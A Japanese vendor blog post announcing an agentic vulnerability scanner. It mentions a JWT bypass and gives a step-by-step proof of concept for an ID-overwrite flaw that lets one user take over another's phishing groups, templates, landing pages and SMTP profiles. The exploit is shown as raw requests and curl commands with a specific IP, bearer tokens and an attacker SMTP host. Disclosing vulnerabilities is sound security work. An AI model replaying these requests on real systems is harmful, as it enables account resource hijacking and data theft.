OstorlabがAgentic Deep Scanをリリース：次世代の脆弱性スキャナー

Ostorlabの新しい次世代の脆弱性スキャナー、Agentic Deep Scanを発表できることを大変うれしく思います。これは単なるスキャナーの一つではありません。iOS、Android（近日中にharmonyOSにも対応）、Webアプリケーションに対する現実の攻撃をシミュレートし、すべての検出結果を現実的な条件下で検証する、根本的に異なるアプローチです。

Bring Your Own Key（BYOK）に対応しているため、この次世代のスキャンアプローチを試しながら、データとAIの利用を完全に管理できます。

当社は、これをモバイルアプリケーションに特化して深く実践している唯一のプラットフォームです。現実的なエクスプロイト検証、コンポーネント横断の分析、実証レベルのエビデンスを、現在ほかのどのツールも提供していない形で組み合わせています。

Agentic Deep Scanが実証に裏付けられた対応可能な検出結果を提供する仕組み

一般的なスキャナーは、パターンやシグネチャに基づいて潜在的な問題を特定します。Agentic Deep Scanはさらに一歩踏み込みます。すべての検出結果を現実の条件下で検証し、スクリーンショット、リクエスト/レスポンスのログ、端末のログ、段階的な再現手順といった実証レベルのエビデンスを添えるため、チームは攻撃者が実際に悪用し得るリスクに集中できます。

サンプルスキャンで検証された検出結果

Agentic Deep Scanは、稼働中のアプリケーションに潜む、現実的で対応可能なリスクを明らかにします。たとえば当社のサンプルレポートでは、VulnBank.orgにおけるJWT認証バイパスを含む、12件のクリティカルな検出結果を取り上げています。

VulnBank.orgにおけるJWT認証バイパスにより、攻撃者は昇格した権限（is_admin: true）を持つトークンを偽造でき、/admin/create_adminや/admin/approve_loan/{loan_id}といった管理者専用のエンドポイントにアクセスできました。

これは、認証と認可の弱点が現実の条件下でどのように悪用され得るか、そしてAgentic Deep Scanが実証レベルのエビデンスを提供することで、チームが確信を持って問題を再現し修正できることを示しています。

Agentic Deep Scanが発見した現実の脆弱性

Agentic Deep Scanを実際のアプリケーションで実行したところ、これまで知られていなかった脆弱性が複数見つかりました。一部の検出結果は、広く使われているオープンソースプロジェクトでまだ修正待ちの状態であり、このスキャナーの有効性と実践的な効果を示しています。

これらの検出結果の中でも、その重大度で際立っていたものがあります。リソースを完全に乗っ取ることができる、単純なAPIロジックの欠陥です。ここでは、Agentic Deep Scanがこれをどのように発見し、悪用し、具体的なエビデンスでその影響を実証したかを紹介します。

説明

リソースを作成するAPIエンドポイントは、POSTリクエスト内の'id'パラメーターが既存のリソースにすでに関連付けられていないかを検証していません。攻撃者がPOSTリクエストに既存のリソースIDを含めると、アプリケーションは新しいリソースを作成する代わりに、そのリソースの所有権を攻撃者に移してしまいます。これにより、機密のフィッシング素材、標的のメールアドレス一覧（GDPR違反）、認証情報を収集するページ、メール送信インフラが丸ごと盗まれる可能性があります。

根本原因

リソースを作成するAPIエンドポイント（POST /api/groups/、POST /api/templates/、POST /api/pages/、POST /api/smtp/）は、リクエストボディ内のidパラメーターを、そのIDがすでに別のユーザーのリソースに属しているかどうかを検証せずに受け付けます。既存のIDが指定されると、アプリケーションは新しいリソースを作成する代わりにそのリソースを更新（乗っ取り）し、所有権を認証済みの攻撃者に移します。

脆弱なコードパターン

APIハンドラーは、idフィールドを含むJSONボディ全体を受け付けます。

// Endpoint pattern vulnerable to IDOR
router.HandleFunc("/api/groups/", mid.Use(as.UseGroups, mid.RequireAPIKey))

ハンドラーは受信したJSONを、idフィールドを除去も検証もせずにそのまま処理するため、既存のリソースIDのマスアサインメントが可能になります。

悪用のエビデンス

ステップ1 - 管理者が機密の標的グループを作成する：

POST /api/groups/ HTTP/1.1
Authorization: Bearer <admin_api_key>
Content-Type: application/json

{
    "name": "CONFIDENTIAL_TARGETS",
    "targets": [
        {"email": "john.victim@testcorp.com", "first_name": "John", "last_name": "Victim"},
        {"email": "jane.target@testcorp.com", "first_name": "Jane", "last_name": "Target"},
        {"email": "bob.doe@financial.com", "first_name": "Bob", "last_name": "Doe"}
    ]
}

Response: HTTP 201 Created
{"id": 106, "name": "CONFIDENTIAL_TARGETS", "targets": [...]}

ステップ2 - 攻撃者（user_b）がID 106を指定してグループを乗っ取る：

POST /api/groups/ HTTP/1.1
Authorization: Bearer <attacker_api_key>
Content-Type: application/json

{
    "id": 106,
    "name": "STOLEN_GROUP",
    "targets": []
}

Response: HTTP 201 Created
{"id": 106, "name": "STOLEN_GROUP", "targets": []}

ステップ3 - 所有権の移転を確認する：

# Admin attempts to access their own group
curl -k https://34.55.131.240:3333/api/groups/106 \
  -H 'Authorization: Bearer <admin_api_key>'

Response: HTTP 404 Not Found
{"message": "Group not found", "success": false, "data": null}

# Attacker accesses the stolen group
curl -k https://34.55.131.240:3333/api/groups/106 \
  -H 'Authorization: Bearer <attacker_api_key>'

Response: HTTP 200 OK
{"id": 106, "name": "STOLEN_GROUP", ...}

脆弱であることが確認されたその他のエンドポイント：

POST /api/templates/ HTTP/1.1
Authorization: Bearer <attacker_api_key>
{"id": 113, "name": "STOLEN_TEMPLATE", "subject": "HACKED", "html": "..."}
Response: HTTP 201 Created

POST /api/pages/ HTTP/1.1
Authorization: Bearer <attacker_api_key>
{"id": 60, "name": "STOLEN_PAGE", "html": "...", "capture_credentials": true}
Response: HTTP 201 Created

POST /api/smtp/ HTTP/1.1
Authorization: Bearer <attacker_api_key>
{"id": 81, "name": "STOLEN_SMTP", "host": "evil.attacker.com:25"}
Response: HTTP 201 Created

持ち出されたデータ：

• 標的のメールアドレス：john.victim@testcorp.com、jane.target@testcorp.com、bob.doe@financial.com
• 件名が「Urgent: Your Account Security」のフィッシングテンプレートID 113
• 認証情報収集の設定を含むランディングページID 60
• SMTP送信プロファイルID 81

検証のエビデンス

検証試行1

id=106を指定したPOST /api/groups/がHTTP 201 Createdを返し、所有権が攻撃者に移った**

検証試行2

id=113を指定したPOST /api/templates/がHTTP 201 Createdを返した

検証試行3

id=60を指定したPOST /api/pages/がHTTP 201 Createdを返した

検証試行4

id=81を指定したPOST /api/smtp/がHTTP 201 Createdを返した

検証試行5

乗っ取られたリソースにアクセスすると、元の所有者はHTTP 404を受け取る

検証試行6

盗んだリソースにアクセスすると、攻撃者はHTTP 200を受け取る

検証試行7

根本原因

POST /api/groups/エンドポイントは、JSONリクエストボディのidフィールドを、そのIDが別のユーザーが所有する既存のリソースに属しているかどうかを検証せずに受け付けて処理します。バックエンドはクライアントが指定したIDをそのまま使用するため、IDが別のユーザーのリソースを参照している場合に所有権の移転が発生します。

脆弱なコードパターン

// Endpoint accepts full JSON body including 'id' field
router.HandleFunc("/api/groups/", mid.Use(as.UseGroups, mid.RequireAPIKey))
// Handler processes JSON directly without stripping/validating 'id'

悪用のエビデンス

ステップ1 - ベースラインの確認：管理者がグループ110を所有しており、攻撃者はアクセスできない：

# Admin retrieves their group
curl -k 'https://34.55.131.240:3333/api/groups/110' \
  -H 'Authorization: Bearer 1b3146bda7ae9ae9bebff4cdfce2319365fe7ee1c716f0fb67f6367d81459848'

レスポンス：HTTP 200 - グループには機密の標的メールアドレスが4件含まれている

# Attacker attempts access (pre-hijack)
curl -k 'https://34.55.131.240:3333/api/groups/110' \
  -H 'Authorization: Bearer 1b08fb31e5daeceeb5844cab911ff71918e29599223c8dd61a8b8ad54fdbd5d4'

レスポンス：HTTP 404 - {"message":"Group not found","success":false,"data":null}

ステップ2 - 攻撃者が既存のIDを指定してグループを乗っ取る：

curl -k -i 'https://34.55.131.240:3333/api/groups/' \
  -H 'Authorization: Bearer 1b08fb31e5daeceeb5844cab911ff71918e29599223c8dd61a8b8ad54fdbd5d4' \
  -H 'Content-Type: application/json' \
  -X POST \
  --data '{"id":110,"name":"HIJACKED_GROUP_BY_ATTACKER","targets":[{"email":"dummy@testcompany.com","first_name":"Dummy","last_name":"User"}]}'

レスポンス：HTTP 201 Created

{"id":110,"name":"HIJACKED_GROUP_BY_ATTACKER","targets":[...]}

ステップ3 - 所有権の移転を確認：

# Admin attempts to access their group (post-hijack)
curl -k 'https://34.55.131.240:3333/api/groups/110' \
  -H 'Authorization: Bearer 1b3146bda7ae9ae9bebff4cdfce2319365fe7ee1c716f0fb67f6367d81459848'

レスポンス：HTTP 404 - {"message":"Group not found","success":false,"data":null}

# Attacker retrieves stolen group
curl -k 'https://34.55.131.240:3333/api/groups/110' \
  -H 'Authorization: Bearer 1b08fb31e5daeceeb5844cab911ff71918e29599223c8dd61a8b8ad54fdbd5d4'

レスポンス：HTTP 200 - 元の標的を含むグループの全データ：

executive@testcompany.com

hr@testcompany.com

itadmin@testcompany.com

finance@testcompany.com

BYOK（Bring Your Own Key）でAgentic Deep Scanを試す

BYOK（Bring Your Own Key）により、自社の認証情報を使って、データとコストを完全に管理したままAgentic Deep Scanを安全に試せます。自社のアプリで、この次世代のスキャンアプローチを手軽に試すことができます。

Agentic Deep Scanの詳細：
- Web Agentic Deep Scan
- Mobile Agentic Deep Scan